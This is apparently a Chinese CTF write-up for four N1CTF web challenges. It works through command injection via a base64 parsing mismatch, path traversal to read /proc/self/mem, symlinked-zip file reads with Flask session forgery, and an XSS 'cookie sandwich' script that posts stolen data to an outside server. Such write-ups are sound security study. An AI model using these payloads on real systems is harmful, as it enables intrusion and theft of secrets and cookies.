n1ctf_web_wp

ping

分析代码,显然需要在

1
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

进行命令执行,只需要让$(echo ‘{ip_base64}’ | base64 -d) –> 127.0.0.1;whoami 拼接一下即可

但是由于前面的正则匹配等严格要求了解码后必须是ip的格式,所以只能进行绕过

尝试绕过正则无果 观察到明明一开始就对ip_base64进行了一次base64解码,但是在命令执行的时候明明可以直接使用却还要解码一次,猜测是两种解码方式的差异

思路是让python的base64.b64decode()函数只解析出前面的ip地址,而bash在base64 -d 的时候解析出完整的拼接后的命令

分析python b64decode函数的源码发现底层由c实现,注意到如下代码

image-20250914232153626

也就是当python解析到==之后如果后面还有内容,在严格模式下会报错,而非严格模式下会停止解析但不会报错,可以试验一下

image-20250914232401063

python成功只解码出了1.1.1.1,而bash却能解析出完整的命令

image-20250914232507326

利用这个就能绕过检测并且拼接执行命令了,直接cat /flag即可,如下图

image-20250914234321695

Peek a Fork

代码审计

1
2
3
4
5
with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

flag放到了匿名进程中,可以通过读取/proc/self/mem函数读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)

data_bytes = f.read(length)

response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:

response_body = f"Invalid path"
response_status = "500 Internal Server Error"

response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())

这里可以读文件,找一下filename的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return

这里获取clean_path的逻辑是先匹配到?offset=(\d+)&length=(\d+),然后从path里面把这一整串给去除掉

然后去除掉首尾的/得到filename

漏洞点在于waf是在main函数中获取到初始数据的时候就直接检测的

1
2
3
4
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue

如果存在这种情况

1
2
3
path = rb"/pro?offset=1&length=1c"
clean_path = b"/proc"
filename="proc"

这样就可以绕过黑名单传入proc了,还有一个问题是proc在根目录所以要穿越一下

利用相同的原理绕过.. 和./的限制

1
2
3
4
5
6
path=rb"?offset=0&length=100000.?offset=0&length=100000.?offset=0&length=100000/pro?
offset=0&length=100000c/self/environ"

clean_path = b"../proc/self/environ"
filename= "../proc/self/environ"
能直接读到环境变量文件

所以接下来我们读/proc/self/mem文件就能拿到flag

直接访问

1
?offset=0&length=100000.?offset=0&length=100000.?offset=0&length=100000/pro?offset=0&length=100000c/self/mem

会发现返回invalid path

查了一下发现是因为读取mem文件有权限要求,有些不可读的部分,只能读取有权限的部分,这里可以通过offset和length来控制

读一下/proc/self/maps文件查看python进程的内存地址

image-20250915001049199

这里选择从7f7861a02000(140155010686976)爆破到7ffc799d2000(140722348826624),把内存地址转换为十进制数然后传给offset参数设置一下步长,爆破速度挺快的

1
?offset=140155010686976&length=100000.?offset=0&length=100000.?offset=0&length=100000/pro?offset=0&length=100000c/self/mem

最后在7f7862fd8000-7f7862fd9000这一块内存中读到了 查了一下发现是因为mmap是创建了匿名内存映射,这一块就是匿名内存

online_unzipper

代码审计找到漏洞点

1
2
3
4
try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

这里有一个命令执行,如果存在可控的地方就能利用这里读出flag

1
2
3
4
5
6
7
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

发现如果是admin用户的话就能指定dirname,本质上也就是指定了target_dir,同样是拼接一下就能执行命令

接下来需要看看如何登录admin

1
role = session["role"]

role是从session中获取的,普通用户注册的时候role只能是user

1
2
3
4
5
6
7
8
9
10
11
12
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")

那么肯定是要伪造session

1
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")

session的key是从环境变量中获取的,所以还是需要读一下/proc/self/environ文件

我们上传的压缩包会通过unzip -o进行解压,解压时如果 ZIP 包中包含软链接文件,unzip默认会保留软链接的指向关系

所以可以利用软链接来实现任意文件读取

1
2
3
4
5
6
ln -s /proc/self/environ link   创建一个软链接

zip -y exploit.zip link

上传exploit.zip,直接访问里面的link就能获取到环境变量文件

image-20250915003503909

FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!

接下来利用这个key生成一个admin的session再替换我们自己注册的用户的session

image-20250915003552152

用户变为admin之后发现上传文件时多了一个指定dirname的输入框,随便上传一个文件同时传入

dirname=test; cat /flag* > ./uploads/test/flag.txt

再访问/download/test/flag.txt就能拿到flag

Unfinished

首先还是寻找漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

观察到这个函数是bot会先登录然后去访问传入的url,而在view路由中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)

登录之后就会让bot去访问一下http://localhost/api/bio/{username},也就是我们的bio界面,同时有一个编辑我们bio界面的功能,所以很容易联想到xss,但是有三个问题,第一个是nginx的配置中禁止了访问/api/bio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
server {
listen 80 default_server;
server_name _;

location / {
proxy_pass http://127.0.0.1:5000;
}

location /api/bio/ {
return 403;
}

location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}
}

但是呢,如果是以js,css结尾的静态资源,就会被代理并且写入缓存中,本意是为了减少服务器的消耗,而这里帮我们绕过了/api/bio/,只要我们的username是以js或者css结尾的,访问http://localhost/api/bio/{username}的时候就不会返回403

假设我们的用户名为1.js,第二个问题是 bot在访问我们的bio界面的时候,有一个身份的校验,就是只有自己能访问自己的bio

1
2
if not current_user.username == username:
return "Unauthorized", 401

这里也好解决,前面说了如果是js或者css结尾的请求会被写到缓存里,下次读的时候会直接读缓存里的东西,那么我们先自己去访问一下/api/bio/1.js,再通过/view路由让bot去访问,这样username是1.js,current_user.username实际上的从缓存里面读出来的就能绕过了

第三个问题时httpOnly,但是可以注意到题目中其实写的时httponly,其实是失效的,直接用xss的payload就能打出来

如果这个httpOnly是生效的怎么办?

这样的话直接利用xss是带不出cookie的,利用三明治攻击可以把受httpOnly保护的cookie窃取出来

大致原理就是让服务器错误解析,利用cookie=ticket=”abc; aaa=bbb”让服务器错误解析从而将访问者的cookie放到中间带了出来

讲解文章:https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="abc; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
credentials: 'include',
}).then(response => {
return response.text();
}).then(data => {
fetch("http://xxx.xx.xx.xxx:7777/", {
method: "POST",
body: data,
});
})
</script>

image-20250915205435704

因为在访问/ticket的时候会回显自己的ticket的值,再把请求结果拿出来传到自己的服务器上就能看到flag了

分析

这题比赛中没打出来,当时想到了xss,但是看到httponly不知道有三明治攻击这个东西,也没注意到写错了

并且也没仔细去阅读代码,nginx的配置文件没认真看

总结

  • 分析解析差异之类的题目时要耐下心来去翻源代码
  • /proc/self/maps存放进程的内存地址,/proc/self/mem文件存在不可读部分,不能直接读
  • unzip -o解压可以利用软链接实现任意文件读取
  • 三明治攻击可以绕过httpOnly,nginx配置文件也会有关键信息,利用缓存绕过了身份验证

n1ctf_web_wp
http://example.com/2025/09/15/n1ctf-web-wp/
作者
onehang
发布于
2025年9月15日
许可协议